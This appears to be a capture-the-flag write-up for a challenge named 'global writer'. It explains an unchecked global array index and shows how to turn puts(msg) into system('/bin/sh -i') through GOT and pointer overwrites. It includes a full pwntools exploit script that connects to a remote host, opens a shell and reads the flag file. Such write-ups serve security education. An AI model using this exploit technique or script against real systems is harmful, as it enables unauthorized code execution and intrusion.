# global writer
## Summary
This challenge is a global out-of-bounds write.
- The program lets you repeatedly set
values[idx] = v. - There is no bounds check on
idx. valuesis a global array, so writing with negative indices walks backwards into other globals / GOT entries.- Goal: execute
/bin/shon the remote service and read the flag.
We solve it by:
- Writing the string
"/bin/sh -i\0"into the globalvalues[]buffer. - Overwriting
puts@GOTwithsystem@PLT. - Overwriting the global
msgpointer to point at ourvalues[]buffer. - Triggering
puts(msg)→ actuallysystem("/bin/sh -i").
## Files
- Binary:
global_writer/chal - Source:
gglobal_writer/src.c
## Vulnerability
From src.c:
c#define SIZE 0x10 char *msg = "Update Complete"; int values[SIZE]; int idx, i; ... scanf("%d", &idx); ... scanf("%d", &values[idx]); // <- OOB write, idx is unchecked ... puts(msg);
Because values is global, values[idx] indexes into the program’s .bss/.data region.
- For
idx >= SIZE, you write past the end. - For
idx < 0, you write before the beginning.
That allows overwriting other global variables and also pointers stored in the writable GOT (the binary uses Partial RELRO).
## Mitigations / Why this still works
The compile flags in the comment suggest:
-no-pie→ fixed addresses (very helpful)-Wl,-z,relro→ Partial RELRO (GOT is still writable)-fstack-protector-all→ stack canary (irrelevant: we don’t smash the stack)- NX enabled (irrelevant: we reuse existing
system)
Key point: Partial RELRO means puts@GOT is writable.
## Exploitation Strategy
### 1) Store the command string in memory
The program only accepts integers, but values[] is an int[], so we can write 4 bytes at a time.
On amd64 little-endian:
0x6e69622f→ bytes2f 62 69 6e→"/bin"0x2068732f→ bytes2f 73 68 20→"/sh "0x0000692d→ bytes2d 69 00 00→"-i\0\0"
So values[0..2] becomes the string "/bin/sh -i\0".
### 2) Turn puts(msg) into system(msg)
The program calls puts(msg) at the end of edit().
If we overwrite puts@GOT to point to system@PLT, then the call site effectively becomes:
csystem(msg);
Because the binary is non-PIE, system@PLT is at a fixed address.
### 3) Make msg point to our string
msg is a global char*. If we overwrite it to the address of values, then msg points to the command string we wrote.
### 4) Trigger
Entering -1 for index exits the input loop and reaches puts(msg).
After the GOT overwrite, that becomes system("/bin/sh -i").
## Computing the right indices
Let:
VALUES_ADDR= address of the globalvaluesarrayTARGET_ADDR= address we want to overwrite
Since each values[i] is 4 bytes:
This is exactly what the helper does in the exploit:
pydef idx_for(addr: int) -> int: return (addr - VALUES_ADDR) // 4
For 64-bit pointers (like msg or a GOT entry), write the low 32 bits to idx and the high 32 bits to idx+1.
## Exploit
The full exploit is included below. In short it:
- writes
"/bin/sh -i\0"intovalues[0..2] - overwrites
puts@GOT→system@PLT - overwrites
msg→&values[0] - sends
-1to trigger the call
## Flag
Retrieved from the remote server:
TSGCTF{6O7_4nd_6lob4l_v4r1able5_ar3_4dj4c3n7_1n_m3m0ry_67216011}
#!/usr/bin/env python3
from pwn import *
HOST = os.environ.get("HOST", "34.84.25.24")
PORT = int(os.environ.get("PORT", "58554"))
# Static addresses from the provided non-PIE binary.
# values: 0x4040c0
# msg : 0x404068
# puts@GOT: 0x404020
# system@PLT: 0x401070
VALUES_ADDR = 0x4040C0
SYSTEM_PLT = 0x401070
PUTS_GOT = 0x404020
MSG_PTR = 0x404068
def idx_for(addr: int) -> int:
return (addr - VALUES_ADDR) // 4
def write_int(io, idx: int, val: int) -> None:
io.sendlineafter(b"index? > ", str(idx).encode())
io.sendlineafter(b"value? > ", str(val).encode())
def main() -> None:
context.log_level = os.environ.get("LOG", "info")
io = remote(HOST, PORT)
# Write "/bin/sh -i\x00" into values[0..2]
write_int(io, 0, 0x6E69622F) # "/bin"
write_int(io, 1, 0x2068732F) # "/sh "
write_int(io, 2, 0x0000692D) # "-i\0\0"
# Overwrite puts@GOT -> system@PLT
write_int(io, idx_for(PUTS_GOT) + 0, SYSTEM_PLT & 0xFFFFFFFF)
write_int(io, idx_for(PUTS_GOT) + 1, (SYSTEM_PLT >> 32) & 0xFFFFFFFF)
# Overwrite msg pointer -> &values[0] (points to "/bin/sh")
write_int(io, idx_for(MSG_PTR) + 0, VALUES_ADDR & 0xFFFFFFFF)
write_int(io, idx_for(MSG_PTR) + 1, (VALUES_ADDR >> 32) & 0xFFFFFFFF)
# Trigger: idx == -1 exits edit loop, then calls puts(msg) -> system("/bin/sh -i")
io.sendlineafter(b"index? > ", b"-1")
if os.environ.get("INTERACTIVE") == "1":
io.interactive()
return
# Non-interactive mode (works better in CI/VS Code terminals): run a couple commands and exit.
io.sendline(b"id")
io.sendline(b"ls -la")
io.sendline(b"cat flag-*.txt")
io.sendline(b"exit")
data = io.recvall(timeout=3)
try:
print(data.decode(errors="replace"))
except Exception:
print(repr(data))
if __name__ == "__main__":
main()Comments(0)
No comments yet. Be the first to share your thoughts!